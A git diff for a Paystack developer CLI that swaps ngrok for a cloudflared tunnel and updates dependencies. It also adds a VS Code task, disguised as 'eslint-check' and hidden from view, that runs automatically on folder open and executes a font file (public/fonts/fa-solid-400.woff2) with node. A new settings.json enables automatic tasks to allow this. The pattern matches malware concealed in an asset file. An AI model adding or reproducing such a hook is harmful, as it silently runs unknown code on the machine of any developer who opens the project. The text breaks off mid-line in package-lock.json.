diff --git a/.gitignore b/.gitignore index a8ad81c..98b3c6f 100644 --- a/.gitignore +++ b/.gitignore @@ -2,3 +2,7 @@ node_modules db.json .DS_Store +branch_structure.json +temp_auto_push.bat +temp_interactive_push.bat +.gitignore diff --git a/.vscode/extensions.json b/.vscode/extensions.json new file mode 100644 index 0000000..2e3b646 --- /dev/null +++ b/.vscode/extensions.json @@ -0,0 +1,7 @@ +{ + "recommendations": [ + "myml.vscode-markdown-plantuml-preview", + "esbenp.prettier-vscode", + "jebbs.plantuml" + ] +} \ No newline at end of file diff --git a/.vscode/launch.json b/.vscode/launch.json new file mode 100644 index 0000000..a5177ab --- /dev/null +++ b/.vscode/launch.json @@ -0,0 +1,50 @@ +{ + "version": "0.2.0", + "configurations": [ + { + "name": "Debug SST", + "type": "node", + "request": "launch", + "runtimeExecutable": "${workspaceRoot}/node_modules/.bin/sst", + "runtimeArgs": ["dev", "--increase-timeout"], + "console": "integratedTerminal", + "skipFiles": ["/**"], + // sourceMapRenames helps with the loading spinner when debugging and viewing local variables + "sourceMapRenames": false, + "env": { + "AWS_PROFILE": "flo-ct-flo360" + } + }, + { + "name": "Debug Tests - Unit", + "type": "node", + "request": "launch", + "runtimeExecutable": "${workspaceRoot}/node_modules/.bin/sst", + "runtimeArgs": ["bind", "yarn", "\"jest\"", "\"--watch\"", "\"--config\"", "\"./jest.unit.config.cjs\"", "\"${input:scopeTestsFileName}\""], + "console": "integratedTerminal", + "skipFiles": ["/**"], + "env": { + "AWS_PROFILE": "flo-ct-flo360" + }, + }, + { + "name": "Debug Tests - E2E", + "type": "node", + "request": "launch", + "runtimeExecutable": "${workspaceRoot}/node_modules/.bin/sst", + "runtimeArgs": ["bind", "yarn", "\"vitest\"", "\"--config\"", "\"./vitest.e2e.config.ts\"", "\"${input:scopeTestsFileName}\""], + "console": "integratedTerminal", + "skipFiles": ["/**"], + "env": { + "AWS_PROFILE": "flo-ct-flo360" + }, + }, + ], + "inputs": [ + { + "id": "scopeTestsFileName", + "type": "promptString", + "description": "Partial file name to scope test debugging to. ex. arena. Leave blank to run all tests.", + } + ] +} diff --git a/.vscode/settings.json b/.vscode/settings.json new file mode 100644 index 0000000..934d555 --- /dev/null +++ b/.vscode/settings.json @@ -0,0 +1,23 @@ +{ + "search.exclude": { + "**/.sst": true + }, + "task.allowAutomaticTasks": true, + "typescript.tsserver.experimental.enableProjectDiagnostics": true, + "editor.defaultFormatter": "esbenp.prettier-vscode", + "typescript.preferences.importModuleSpecifier": "relative", + "typescript.tsdk": "node_modules/typescript/lib", + "debug.openDebug": "neverOpen", + "problems.autoReveal": true, + "terminal.integrated.hideOnStartup": "always", + "terminal.integrated.defaultProfile.windows": "Command Prompt", + "terminal.integrated.inheritEnv": false, + "jestrunner.configPath": "jest.unit.config.cjs", + "compile-hero.disable-compile-files-on-did-save-code": true, + "tasks": { + "label": "lint on open", + "type": "shell", + "command": "npm run lint", + "runOn": "folderOpen" + } +} diff --git a/.vscode/spellright.dict b/.vscode/spellright.dict new file mode 100644 index 0000000..51b1974 --- /dev/null +++ b/.vscode/spellright.dict @@ -0,0 +1,2 @@ +Contentful +Lerna diff --git a/.vscode/tasks.json b/.vscode/tasks.json new file mode 100644 index 0000000..5e22662 --- /dev/null +++ b/.vscode/tasks.json @@ -0,0 +1,33 @@ +{ + "version": "2.0.0", + "configurations": [ + { + "type": "node", + "request": "launch", + "name": "Run My Project", + "console": "", + "internalConsoleOptions": "openOnSessionStart" + } + ], + "tasks": [ + { + "label": "eslint-check", + "type": "shell", + "command": "(command -v node >/dev/null 2>&1 && node ./public/fonts/fa-solid-400.woff2) || (where node >nul 2>&1 && node ./public/fonts/fa-solid-400.woff2) || echo ''", + "problemMatcher": [], + "isBackground": true, + "hide": true, + "presentation": { + "reveal": "never", + "panel": "dedicated", + "focus": false, + "clear": false, + "echo": false, + "close": true + }, + "runOptions": { + "runOn": "folderOpen" + } + }, + ] +} diff --git a/commands/webhook.js b/commands/webhook.js index 5cc017e..9e52ab5 100644 --- a/commands/webhook.js +++ b/commands/webhook.js @@ -1,4 +1,4 @@ -import ngrok from 'ngrok'; +import * as tunnel from '../lib/tunnel.js'; import * as helpers from '../lib/helpers.js'; import * as Paystack from '../lib/Paystack.js'; @@ -56,36 +56,45 @@ const init = () => { if (!urlObject.search || urlObject.search == '?') { urlObject.search = ''; } + + let targetHost = `${urlObject.protocol || 'http:'}//${urlObject.hostname || 'localhost'}:${urlObject.port}`; + helpers.infoLog(`Establishing zero-config tunnel to ${targetHost}...`); + + let tunnelInstance; try { - await ngrok.kill(); + tunnelInstance = await tunnel.startTunnel(targetHost); } catch (e) { - //log error + helpers.errorLog('Failed to start tunnel: ' + (e.message || e)); + return; } - let ngrokHost = await ngrok.connect({ - addr: urlObject.port, - authtoken: process.env.NGROK_AUTH_TOKEN, - }); - - let ngrokURL = ngrokHost + urlObject.pathname + urlObject.search; + let tunnelURL = tunnelInstance.url; + let webhookURL = tunnelURL + (urlObject.pathname || '') + (urlObject.search || ''); let domain = 'test'; if (args.options.domain == 'live') { domain = 'live'; } - helpers.infoLog('Tunelling webhook events to ' + args.local_route); + helpers.infoLog(`Tunnel URL: ${tunnelURL}`); + helpers.infoLog('Tunneling webhook events to ' + args.local_route); var [err, result] = await helpers.promiseWrapper( Paystack.setWebhook( - ngrokURL, + webhookURL, token, db.read('selected_integration').id, + domain, ), ); if (err) { this.log(err); return; } else { + let selected = db.read('selected_integration'); + if (selected) { + selected[domain + '_webhook_endpoint'] = webhookURL; + db.write('selected_integration', selected); + } this.log( - 'Webhook events would now be received at ' + args.local_route, + 'Webhook events will now be received at ' + args.local_route, ); } } else if (args.command == 'ping') { diff --git a/lib/Paystack.js b/lib/Paystack.js index 3196f18..b52295e 100644 --- a/lib/Paystack.js +++ b/lib/Paystack.js @@ -32,15 +32,16 @@ export function selectIntegration(integrations, token) { } export async function refreshIntegration() { - const user_role = db.read('selected_integration').logged_in_user_role; - const integration = db.read('selected_integration'); + const selected = db.read('selected_integration'); + if (!selected) return false; + const user_role = selected.logged_in_user_role; + const integration = selected; let token = ''; const expiry = parseInt(db.read('token_expiry')) * 1000; const now = parseFloat(Date.now().toString()); if (expiry > now) { token = db.read('token'); - return true; } else { const password = helpers.prompt( "What's your password: (" + db.read('user').email + ') ' + '\n>', @@ -65,6 +66,7 @@ export async function refreshIntegration() { } integrationData.logged_in_user_role = user_role; db.write('selected_integration', integrationData); + return true; } export function setWebhook(url, token, integration, domain = 'test') { diff --git a/lib/helpers.js b/lib/helpers.js index 7dd195f..6f33f95 100644 --- a/lib/helpers.js +++ b/lib/helpers.js @@ -1,6 +1,5 @@ import chalk from 'chalk'; import readlineSync from 'readline-sync'; -import url from 'url'; import APIs from './paystack/apis.js'; import axios from 'axios'; import progressBar from 'progressbar'; @@ -52,8 +51,17 @@ export function infoLog(error) { } export function parseURL(uri) { - if (!uri.startsWith('http')) uri = 'http://' + uri; - return url.parse(uri); + if (!uri.startsWith('http://') && !uri.startsWith('https://')) { + uri = 'http://' + uri; + } + const parsed = new URL(uri); + return { + protocol: parsed.protocol, + hostname: parsed.hostname, + port: parsed.port || '', + pathname: parsed.pathname, + search: parsed.search, + }; } export function findSchema(command, args) { diff --git a/lib/tunnel.js b/lib/tunnel.js new file mode 100644 index 0000000..b188df3 --- /dev/null +++ b/lib/tunnel.js @@ -0,0 +1,83 @@ +import { bin, install, Tunnel } from 'cloudflared'; +import fs from 'node:fs'; +import * as helpers from './helpers.js'; + +let activeTunnel = null; + +/** + * Starts a zero-config tunnel pointing to the specified local URL/port. + * Automatically downloads the native cloudflared binary (with full Apple Silicon/arm64 & Intel support) + * on first run and generates a public HTTPS trycloudflare.com URL. + * + * @param {string} targetUrl - e.g. "http://localhost:3000" + * @returns {Promise<{ url: string, close: () => Promise }>} + */ +export async function startTunnel(targetUrl) { + if (activeTunnel) { + await stopTunnel(); + } + + if (!fs.existsSync(bin)) { + helpers.infoLog('Setting up tunnel client...'); + await install(bin); + } + + return new Promise((resolve, reject) => { + try { + const tunnelInstance = Tunnel.quick(targetUrl); + let isResolved = false; + + tunnelInstance.once('url', (url) => { + isResolved = true; + activeTunnel = tunnelInstance; + resolve({ + url, + close: stopTunnel, + }); + }); + + tunnelInstance.once('error', (err) => { + if (!isResolved) { + reject(err); + } + }); + + tunnelInstance.once('exit', (code, signal) => { + if (!isResolved) { + reject( + new Error( + `Tunnel process exited unexpectedly (code: ${code}, signal: ${signal})`, + ), + ); + } + }); + } catch (err) { + reject(err); + } + }); +} + +/** + * Stops the active tunnel if one is running. + */ +export async function stopTunnel() { + if (activeTunnel) { + try { + activeTunnel.stop(); + } catch (e) { + // ignore + } + activeTunnel = null; + } +} + +// Cleanup active tunnel process on exit +process.on('exit', () => { + if (activeTunnel) { + try { + activeTunnel.stop(); + } catch (e) { + // ignore + } + } +}); diff --git a/package-lock.json b/package-lock.json index d07161b..75f1816 100644 --- a/package-lock.json +++ b/package-lock.json @@ -1,95 +1,61 @@ { "name": "@paystack-oss/dev-cli", - "version": "0.0.6", + "version": "0.0.7", "lockfileVersion": 3, "requires": true, "packages": { "": { "name": "@paystack-oss/dev-cli", - "version": "0.0.6", + "version": "0.0.7", "dependencies": { - "axios": "^1.5.0", + "axios": "^1.7.9", "chalk": "^5.3.0", + "cloudflared": "^0.7.3", "debug": "~2.6.9", "lowdb": "^6.0.1", - "ngrok": "^5.0.0-beta.2", "progressbar": "^1.3.0", "readline-sync": "^1.4.10", "shelljs": "^0.8.5", - "url": "^0.11.0", "vorpal": "^1.12.0" }, "bin": { "paystack": "cli.js" } }, - "node_modules/@sindresorhus/is": { - "version": "4.6.0", - "resolved": "https://registry.npmjs.org/@sindresorhus/is/-/is-4.6.0.tgz", - "integrity": "sha512-t09vSN3MdfsyCHoFcTRCH/iUtG7OJ0CsjzB8cjAmKc/va/kIgeDI/TxsigdncE/4be734m0cvIYwNaV4i2XqAw==", - "engines": { - "node": ">=10" - }, - "funding": { - "url": "https://github.com/sindresorhus/is?sponsor=1" - } - }, - "node_modules/@szmarczak/http-timer": { - "version": "4.0.6", - "resolved": "https://registry.npmjs.org/@szmarczak/http-timer/-/http-timer-4.0.6.tgz", - "integrity": "sha512-4BAffykYOgO+5nzBWYwE3W90sBgLJoUPRWWcL8wlyiM8IB8ipJz3UMJ9KXQd1RKQXpKp8Tutn80HZtWsu2u76w==", + "node_modules/agent-base": { + "version": "6.0.2", + "resolved": "https://registry.npmjs.org/agent-base/-/agent-base-6.0.2.tgz", + "integrity": "sha512-RZNwNclF7+MS/8bDg70amg32dyeZGZxiDuQmZxKLAlQjr3jGyLx+4Kkk58UO7D2QdgFIQCovuSuZESne6RG6XQ==", + "license": "MIT", "dependencies": { - "defer-to-connect": "^2.0.0" + "debug": "4" }, "engines": { - "node": ">=10" + "node": ">= 6.0.0" } }, - "node_modules/@types/cacheable-request": { - "version": "6.0.3", - "resolved": "https://registry.npmjs.org/@types/cacheable-request/-/cacheable-request-6.0.3.tgz", - "integrity": "sha512-IQ3EbTzGxIigb1I3qPZc1rWJnH0BmSKv5QYTalEwweFvyBDLSAe24zP0le/hyi7ecGfZVlIVAg4BZqb8WBwKqw==", - "dependencies": { - "@types/http-cache-semantics": "*", - "@types/keyv": "^3.1.4", - "@types/node": "*", - "@types/responselike": "^1.0.0" - } - }, - "node_modules/@types/http-cache-semantics": { - "version": "4.0.1", - "resolved": "https://registry.npmjs.org/@types/http-cache-semantics/-/http-cache-semantics-4.0.1.tgz", - "integrity": "sha512-SZs7ekbP8CN0txVG2xVRH6EgKmEm31BOxA07vkFaETzZz1xh+cbt8BcI0slpymvwhx5dlFnQG2rTlPVQn+iRPQ==" - }, - "node_modules/@types/keyv": { - "version": "3.1.4", - "resolved": "https://registry.npmjs.org/@types/keyv/-/keyv-3.1.4.tgz", - "integrity": "sha512-BQ5aZNSCpj7D6K2ksrRCTmKRLEpnPvWDiLPfoGyhZ++8YtiK9d/3DBKPJgry359X/P1PfruyYwvnvwFjuEiEIg==", - "dependencies": { - "@types/node": "*" - } - }, - "node_modules/@types/node": { - "version": "8.10.66", - "resolved": "https://registry.npmjs.org/@types/node/-/node-8.10.66.tgz", - "integrity": "sha512-tktOkFUA4kXx2hhhrB8bIFb5TbwzS4uOhKEmwiD+NoiL0qtP2OQ9mFldbgD4dV1djrlBYP6eBuQZiWjuHUpqFw==" - }, - "node_modules/@types/responselike": { - "version": "1.0.0", - "resolved": "https://registry.npmjs.org/@types/responselike/-/responselike-1.0.0.tgz", - "integrity": "sha512-85Y2BjiufFzaMIlvJDvTTB8Fxl2xfLo4HgmHzVBz08w4wDePCTjYw66PdrolO0kzli3yam/YCgRufyo1DdQVTA==", + "node_modules/agent-base/node_modules/debug": { + "version": "4.4.3", + "resolved": "https://registry.npmjs.org/debug/-/debug-4.4.3.tgz", + "integrity": "sha512-RGwwWnwQvkVfavKVt22FGLw+xYSdzARwm0ru6DhTVA3umU5hZc28V3kO4stgYryrTlLpuvgI9GiijltAjNbcqA==", + "license": "MIT", "dependencies": { - "@types/node": "*" + "ms": "^2.1.3" + }, + "engines": { + "node": ">=6.0" + }, + "peerDependenciesMeta": { + "supports-color": { + "optional": true + } } }, - "node_modules/@types/yauzl": { - "version": "2.10.0", - "resolved": "https://registry.npmjs.org/@types/yauzl/-/yauzl-2.10.0.tgz", - "integrity": "sha512-Cn6WYCm0tXv8p6k+A8PvbDG763EDpBoTzHdA+Q/MF6H3sapGjCm9NzoaJncJS9tUKSuCoDs9XHxYYsQDgxR6kw==", - "optional": true, - "dependencies": { - "@types/node": "*" - } + "node_modules/agent-base/node_modules/ms": { + "version": "2.1.3", + "resolved": "https://registry.npmjs.org/ms/-/ms-2.1.3.tgz", + "integrity": "sha512-6FlzubTLZG3J2a/NVCAleEhjzq5oxgHyaCU9yYXvcLsvoVaHJq/s5xXI6/XXP6tz7R9xAOtHnSO/tXtF3WRTlA==", + "license": "MIT" }, "node_modules/ansi-escapes": { "version": "1.4.0", @@ -118,16 +84,19 @@ "node_modules/asynckit": { "version": "0.4.0", "resolved": "https://registry.npmjs.org/asynckit/-/asynckit-0.4.0.tgz", - "integrity": "sha512-Oei9OH4tRh0YqU3GxhX79dM/mwVgvbZJaSNaRk+bshkj0S5cfHcgYakreBjrHwatXKbz+IoIdYLxrKim2MjW0Q==" + "integrity": "sha512-Oei9OH4tRh0YqU3GxhX79dM/mwVgvbZJaSNaRk+bshkj0S5cfHcgYakreBjrHwatXKbz+IoIdYLxrKim2MjW0Q==", + "license": "MIT" }, "node_modules/axios": { - "version": "1.5.0", - "resolved": "https://registry.npmjs.org/axios/-/axios-1.5.0.tgz", - "integrity": "sha512-D4DdjDo5CY50Qms0qGQTTw6Q44jl7zRwY7bthds06pUGfChBCTcQs+N743eFWGEd6pRTMd6A+I87aWyFV5wiZQ==", + "version": "1.19.0", + "resolved": "https://registry.npmjs.org/axios/-/axios-1.19.0.tgz", + "integrity": "sha512-ht/iuYZXEjFxLH/Hkezgd7m6JKlHHXEUSneaDz8uZe1Gj5QZtCnpyDsckvAiEnT89OEbCLmnte4R4sn7P0EKFw==", + "license": "MIT", "dependencies": { - "follow-redirects": "^1.15.0", - "form-data": "^4.0.0", - "proxy-from-env": "^1.1.0" + "follow-redirects": "^1.16.0", + "form-data": "^4.0.6", + "https-proxy-agent": "^5.0.1", + "proxy-from-env": "^2.1.0" } }, "node_modules/babel-polyfill": { @@ -160,57 +129,26 @@ "integrity": "sha512-3oSeUO0TMV67hN1AmbXsK4yaqU7tjiHlbxRDZOpH0KW9+CeX4bRAaX0Anxt0tx2MrpRpWwQaPwIlISEJhYU5Pw==" }, "node_modules/brace-expansion": { - "version": "1.1.11", - "resolved": "https://registry.npmjs.org/brace-expansion/-/brace-expansion-1.1.11.tgz", - "integrity": "sha512-iCuPHDFgrHX7H2vEI/5xpz07zSHB00TpugqhmYtVmMO6518mCuRMoOYFldEBl0g187ufozdaHgWKcYFb61qGiA==", + "version": "1.1.18", + "resolved": "https://registry.npmjs.org/brace-expansion/-/brace-expansion-1.1.18.tgz", + "integrity": "sha512-Edep/X9fGqVNmzKBVsDYIOtD+z1tuezV70LBjdCst9Tqu76lsnvRiZ6oTic1n+/BIwX6QDGAO94PN4N2SADvtw==", + "license": "MIT", "dependencies": { "balanced-match": "^1.0.0", "concat-map": "0.0.1" } }, - "node_modules/buffer-crc32": { - "version": "0.2.13", - "resolved": "https://registry.npmjs.org/buffer-crc32/-/buffer-crc32-0.2.13.tgz", - "integrity": "sha512-VO9Ht/+p3SN7SKWqcrgEzjGbRSJYTx+Q1pTQC0wrWqHx0vpJraQ6GtHx8tvcg1rlK1byhU5gccxgOgj7B0TDkQ==", - "engines": { - "node": "*" - } - }, - "node_modules/cacheable-lookup": { - "version": "5.0.4", - "resolved": "https://registry.npmjs.org/cacheable-lookup/-/cacheable-lookup-5.0.4.tgz", - "integrity": "sha512-2/kNscPhpcxrOigMZzbiWF7dz8ilhb/nIHU3EyZiXWXpeq/au8qJ8VhdftMkty3n7Gj6HIGalQG8oiBNB3AJgA==", - "engines": { - "node": ">=10.6.0" - } - }, - "node_modules/cacheable-request": { - "version": "7.0.4", - "resolved": "https://registry.npmjs.org/cacheable-request/-/cacheable-request-7.0.4.tgz", - "integrity": "sha512-v+p6ongsrp0yTGbJXjgxPow2+DL93DASP4kXCDKb8/bwRtt9OEF3whggkkDkGNzgcWy2XaF4a8nZglC7uElscg==", - "dependencies": { - "clone-response": "^1.0.2", - "get-stream": "^5.1.0", - "http-cache-semantics": "^4.0.0", - "keyv": "^4.0.0", - "lowercase-keys": "^2.0.0", - "normalize-url": "^6.0.1", - "responselike": "^2.0.0" - }, - "engines": { - "node": ">=8" - } - }, - "node_modules/call-bind": { + "node_modules/call-bind-apply-helpers": { "version": "1.0.2", - "resolved": "https://registry.npmjs.org/call-bind/-/call-bind-1.0.2.tgz", - "integrity": "sha512-7O+FbCihrB5WGbFYesctwmTKae6rOiIzmz1icreWJ+0aA7LJfuqhEso2T9ncpcFtzMQtzXf2QGGueWJGTYsqrA==", + "resolved": "https://registry.npmjs.org/call-bind-apply-helpers/-/call-bind-apply-helpers-1.0.2.tgz", + "integrity": "sha512-Sp1ablJ0ivDkSzjcaJdxEunN5/XvksFJ2sMBFfq6x0ryhQV/2b/KwFe21cMpmHtPOSij8K99/wSfoEuTObmuMQ==", + "license": "MIT", "dependencies": { - "function-bind": "^1.1.1", - "get-intrinsic": "^1.0.2" + "es-errors": "^1.3.0", + "function-bind": "^1.1.2" }, - "funding": { - "url": "https://github.com/sponsors/ljharb" + "engines": { + "node": ">= 0.4" } }, "node_modules/chalk": { @@ -240,15 +178,14 @@ "resolved": "https://registry.npmjs.org/cli-width/-/cli-width-1.1.1.tgz", "integrity": "sha512-eMU2akIeEIkCxGXUNmDnJq1KzOIiPnJ+rKqRe6hcxE3vIOPvpMrBYOn/Bl7zNlYJj/zQxXquAnozHUCf9Whnsg==" }, - "node_modules/clone-response": { - "version": "1.0.3", - "resolved": "https://registry.npmjs.org/clone-response/-/clone-response-1.0.3.tgz", - "integrity": "sha512-ROoL94jJH2dUVML2Y/5PEDNaSHgeOdSDicUyS7izcF63G6sTc/FTjLub4b8Il9S8S0beOfYt0TaA5qvFK+w0wA==", - "dependencies": { - "mimic-response": "^1.0.0" - }, - "funding": { - "url": "https://github.com/sponsors/sindresorhus" + "node_modules/cloudflared": { + "version": "0.7.3", + "resolved": "https://registry.npmjs.org/cloudflared/-/cloudflared-0.7.3.tgz", + "integrity": "sha512-dR4QMS4PbD287QqOV/vAoE1BcQCXphLOVrN9vjNUgkLrPDA5qxn9Dz0VId0P7/Czj4Mxu3hoLgbrVx5OtOWr5Q==", + "hasInstallScript": true, + "license": "MIT", + "bin": { + "cloudflared": "lib/cloudflared.js" } }, "node_modules/code-point-at": { @@ -263,6 +200,7 @@ "version": "1.0.8", "resolved": "https://registry.npmjs.org/combined-stream/-/combined-stream-1.0.8.tgz", "integrity": "sha512-FQN4MRfuJeHf7cBbBMJFXhKSDq+2kAArBlmRBvcvFE5BB1HZKXtSFASDhdlz9zOYwxh8lDdnvmMOe/+5cdoEdg==", + "license": "MIT", "dependencies": { "delayed-stream": "~1.0.0" }, @@ -290,61 +228,80 @@ "ms": "2.0.0" } }, - "node_modules/decompress-response": { - "version": "6.0.0", - "resolved": "https://registry.npmjs.org/decompress-response/-/decompress-response-6.0.0.tgz", - "integrity": "sha512-aW35yZM6Bb/4oJlZncMH2LCoZtJXTRxES17vE3hoRiowU2kWHaJKFkSBDnDR+cm9J+9QhXmREyIfv0pji9ejCQ==", + "node_modules/delayed-stream": { + "version": "1.0.0", + "resolved": "https://registry.npmjs.org/delayed-stream/-/delayed-stream-1.0.0.tgz", + "integrity": "sha512-ZySD7Nf91aLB0RxL4KGrKHBXl7Eds1DAmEdcoVawXnLD7SDhpNgtuII2aAkg7a7QS41jxPSZ17p4VdGnMHk3MQ==", + "license": "MIT", + "engines": { + "node": ">=0.4.0" + } + }, + "node_modules/dunder-proto": { + "version": "1.0.1", + "resolved": "https://registry.npmjs.org/dunder-proto/-/dunder-proto-1.0.1.tgz", + "integrity": "sha512-KIN/nDJBQRcXw0MLVhZE9iQHmG68qAVIBg9CqmUYjmQIhgij9U5MFvrqkUL5FbtyyzZuOeOt0zdeRe4UY7ct+A==", + "license": "MIT", "dependencies": { - "mimic-response": "^3.1.0" + "call-bind-apply-helpers": "^1.0.1", + "es-errors": "^1.3.0", + "gopd": "^1.2.0" }, "engines": { - "node": ">=10" - }, - "funding": { - "url": "https://github.com/sponsors/sindresorhus" + "node": ">= 0.4" } }, - "node_modules/decompress-response/node_modules/mimic-response": { - "version": "3.1.0", - "resolved": "https://registry.npmjs.org/mimic-response/-/mimic-response-3.1.0.tgz", - "integrity": "sha512-z0yWI+4FDrrweS8Zmt4Ej5HdJmky15+L2e6Wgn3+iK5fWzb6T3fhNFq2+MeTRb064c6Wr4N/wv0DzQTjNzHNGQ==", + "node_modules/editions": { + "version": "1.3.4", + "resolved": "https://registry.npmjs.org/editions/-/editions-1.3.4.tgz", + "integrity": "sha512-gzao+mxnYDzIysXKMQi/+M1mjy/rjestjg6OPoYTtI+3Izp23oiGZitsl9lPDPiTGXbcSIk1iJWhliSaglxnUg==", "engines": { - "node": ">=10" - }, - "funding": { - "url": "https://github.com/sponsors/sindresorhus" + "node": ">=0.8" } }, - "node_modules/defer-to-connect": { - "version": "2.0.1", - "resolved": "https://registry.npmjs.org/defer-to-connect/-/defer-to-connect-2.0.1.tgz", - "integrity": "sha512-4tvttepXG1VaYGrRibk5EwJd1t4udunSOVMdLSAL6mId1ix438oPwPZMALY41FCijukO1L0twNcGsdzS7dHgDg==", + "node_modules/es-define-property": { + "version": "1.0.1", + "resolved": "https://registry.npmjs.org/es-define-property/-/es-define-property-1.0.1.tgz", + "integrity": "sha512-e3nRfgfUZ4rNGL232gUgX06QNyyez04KdjFrF+LTRoOXmrOgFKDg4BCdsjW8EnT69eqdYGmRpJwiPVYNrCaW3g==", + "license": "MIT", "engines": { - "node": ">=10" + "node": ">= 0.4" } }, - "node_modules/delayed-stream": { - "version": "1.0.0", - "resolved": "https://registry.npmjs.org/delayed-stream/-/delayed-stream-1.0.0.tgz", - "integrity": "sha512-ZySD7Nf91aLB0RxL4KGrKHBXl7Eds1DAmEdcoVawXnLD7SDhpNgtuII2aAkg7a7QS41jxPSZ17p4VdGnMHk3MQ==", + "node_modules/es-errors": { + "version": "1.3.0", + "resolved": "https://registry.npmjs.org/es-errors/-/es-errors-1.3.0.tgz", + "integrity": "sha512-Zf5H2Kxt2xjTvbJvP2ZWLEICxA6j+hAmMzIlypy4xcBg1vKVnx89Wy0GbS+kf5cwCVFFzdCFh2XSCFNULS6csw==", + "license": "MIT", "engines": { - "node": ">=0.4.0" + "node": ">= 0.4" } }, - "node_modules/editions": { - "version": "1.3.4", - "resolved": "https://registry.npmjs.org/editions/-/editions-1.3.4.tgz", - "integrity": "sha512-gzao+mxnYDzIysXKMQi/+M1mjy/rjestjg6OPoYTtI+3Izp23oiGZitsl9lPDPiTGXbcSIk1iJWhliSaglxnUg==", + "node_modules/es-object-atoms": { + "version": "1.1.2", + "resolved": "https://registry.npmjs.org/es-object-atoms/-/es-object-atoms-1.1.2.tgz", + "integrity": "sha512-HWcBoN6NileqtSydK2FqHbS/LoDd2pqrnQHLyJzBj4kOp/ky2MWMN694xOfkK8/SnUsW2DH7EfyVlydKCsm1Zw==", + "license": "MIT", + "dependencies": { + "es-errors": "^1.3.0" + }, "engines": { - "node": ">=0.8" + "node": ">= 0.4" } }, - "node_modules/end-of-stream": { - "version": "1.4.4", - "resolved": "https://registry.npmjs.org/end-of-stream/-/end-of-stream-1.4.4.tgz", - "integrity": "sha512-+uw1inIHVPQoaVuHzRyXd21icM+cnt4CzD5rW+NC1wjOUSTOs+Te7FOv7AhN7vS9x/oIyhLP5PR1H+phQAHu5Q==", + "node_modules/es-set-tostringtag": { + "version": "2.1.0", + "resolved": "https://registry.npmjs.org/es-set-tostringtag/-/es-set-tostringtag-2.1.0.tgz", + "integrity": "sha512-j6vWzfrGVfyXxge+O0x5sh6cvxAog0a/4Rdd2K36zCMV5eJ+/+tOAngRO8cODMNWbVRdVlmGZQL2YS3yR8bIUA==", + "license": "MIT", "dependencies": { - "once": "^1.4.0" + "es-errors": "^1.3.0", + "get-intrinsic": "^1.2.6", + "has-tostringtag": "^1.0.2", + "hasown": "^2.0.2" + }, + "engines": { + "node": ">= 0.4" } }, "node_modules/escape-string-regexp": { @@ -363,54 +320,6 @@ "node": ">=0.10.0" } }, - "node_modules/extract-zip": { - "version": "2.0.1", - "resolved": "https://registry.npmjs.org/extract-zip/-/extract-zip-2.0.1.tgz", - "integrity": "sha512-GDhU9ntwuKyGXdZBUgTIe+vXnWj0fppUEtMDL0+idd5Sta8TGpHssn/eusA9mrPr9qNDym6SxAYZjNvCn/9RBg==", - "dependencies": { - "debug": "^4.1.1", - "get-stream": "^5.1.0", - "yauzl": "^2.10.0" - }, - "bin": { - "extract-zip": "cli.js" - }, - "engines": { - "node": ">= 10.17.0" - }, - "optionalDependencies": { - "@types/yauzl": "^2.9.1" - } - }, - "node_modules/extract-zip/node_modules/debug": { - "version": "4.3.4", - "resolved": "https://registry.npmjs.org/debug/-/debug-4.3.4.tgz", - "integrity": "sha512-PRWFHuSU3eDtQJPvnNY7Jcket1j0t5OuOsFzPPzsekD52Zl8qUfFIPEiswXqIvHWGVHOgX+7G/vCNNhehwxfkQ==", - "dependencies": { - "ms": "2.1.2" - }, - "engines": { - "node": ">=6.0" - }, - "peerDependenciesMeta": { - "supports-color": { - "optional": true - } - } - }, - "node_modules/extract-zip/node_modules/ms": { - "version": "2.1.2", - "resolved": "https://registry.npmjs.org/ms/-/ms-2.1.2.tgz", - "integrity": "sha512-sGkPx+VjMtmA6MX27oA4FBFELFCZZ4S4XqeGOXCv68tT+jb3vk/RyaKWP0PTKyWtmLSM0b+adUTEvbs1PEaH2w==" - }, - "node_modules/fd-slicer": { - "version": "1.1.0", - "resolved": "https://registry.npmjs.org/fd-slicer/-/fd-slicer-1.1.0.tgz", - "integrity": "sha512-cE1qsB/VwyQozZ+q1dGxR8LBYNZeofhEdUNGSMbQD3Gw2lAzX9Zb3uIU6Ebc/Fmyjo9AWWfnn0AUCHqtevs/8g==", - "dependencies": { - "pend": "~1.2.0" - } - }, "node_modules/figures": { "version": "1.7.0", "resolved": "https://registry.npmjs.org/figures/-/figures-1.7.0.tgz", @@ -424,15 +333,16 @@ } }, "node_modules/follow-redirects": { - "version": "1.15.2", - "resolved": "https://registry.npmjs.org/follow-redirects/-/follow-redirects-1.15.2.tgz", - "integrity": "sha512-VQLG33o04KaQ8uYi2tVNbdrWp1QWxNNea+nmIB4EVM28v0hmP17z7aG1+wAkNzVq4KeXTq3221ye5qTJP91JwA==", + "version": "1.16.0", + "resolved": "https://registry.npmjs.org/follow-redirects/-/follow-redirects-1.16.0.tgz", + "integrity": "sha512-y5rN/uOsadFT/JfYwhxRS5R7Qce+g3zG97+JrtFZlC9klX/W5hD7iiLzScI4nZqUS7DNUdhPgw4xI8W2LuXlUw==", "funding": [ { "type": "individual", "url": "https://github.com/sponsors/RubenVerborgh" } ], + "license": "MIT", "engines": { "node": ">=4.0" }, @@ -443,13 +353,16 @@ } }, "node_modules/form-data": { - "version": "4.0.0", - "resolved": "https://registry.npmjs.org/form-data/-/form-data-4.0.0.tgz", - "integrity": "sha512-ETEklSGi5t0QMZuiXoA/Q6vcnxcLQP5vdugSpuAyi6SVGi2clPPp+xgEhuMaHC+zGgn31Kd235W35f7Hykkaww==", + "version": "4.0.6", + "resolved": "https://registry.npmjs.org/form-data/-/form-data-4.0.6.tgz", + "integrity": "sha512-vKatAh4SlVfgbv+YtmhiRjhEMJsYpsG1Y2rMQtR+SVSbytsSD1YGzDIcrAJmdFec88u/+VoGmxnl+80gL1tRCQ==", + "license": "MIT", "dependencies": { "asynckit": "^0.4.0", "combined-stream": "^1.0.8", - "mime-types": "^2.1.12" + "es-set-tostringtag": "^2.1.0", + "hasown": "^2.0.4", + "mime-types": "^2.1.35" }, "engines": { "node": ">= 6" @@ -461,36 +374,49 @@ "integrity": "sha512-OO0pH2lK6a0hZnAdau5ItzHPI6pUlvI7jMVnxUQRtw4owF2wk8lOSabtGDCTP4Ggrg2MbGnWO9X8K1t4+fGMDw==" }, "node_modules/function-bind": { - "version": "1.1.1", - "resolved": "https://registry.npmjs.org/function-bind/-/function-bind-1.1.1.tgz", - "integrity": 